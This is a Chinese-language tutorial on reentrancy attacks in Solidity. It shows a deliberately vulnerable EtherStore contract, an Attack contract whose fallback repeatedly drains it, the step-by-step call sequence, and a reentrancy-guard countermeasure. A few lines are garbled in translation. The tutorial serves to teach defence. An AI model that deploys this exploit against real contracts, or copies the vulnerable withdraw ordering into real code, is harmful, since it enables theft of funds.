# 重入攻击

## 漏洞

假设合约调用合约。`AB`

重入漏洞允许在这个过程完成执行之前回调。`BAA`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
以太坊是一个可以存入和提取ETH的合约。
此合约容易受到重入攻击。
让我们来看看为什么。

1. 部署EtherStore
2. 从帐户1 (Alice)和帐户2 (Bob)各存入1个以太币到 EtherStore
3. 使用 EtherStore 地址部署攻击
4. 调用攻击函数 Attack.attack 发送1个以太币(使用账户3 (Eve))，你将得到3个以太币(从Alice和Bob那里偷来的2个以太币)加上从本合同中发送的1个以太币。

发生了什么事?
Attack能够在 EtherStore.withdraw 结束执行之前多次调用 EtherStore.withdraw。

函数是这样被调用的
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (接收到 1 Ether)
- EtherStore.withdraw
- Attack.fallback (接收到 1 Ether)
- EtherStore.withdraw
- Attack fallback (接收到 1 Ether)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 帮助函数来检查这个合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当 EtherStore 向该合约发送以太币时，回退将被调用。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 帮助函数来检查这个合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

## 应对措施

+ 确保在调用外部契约之前发生所有状态更改
+ 使用防止重入的函数修饰符

下面是预防重入攻击的示例

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
```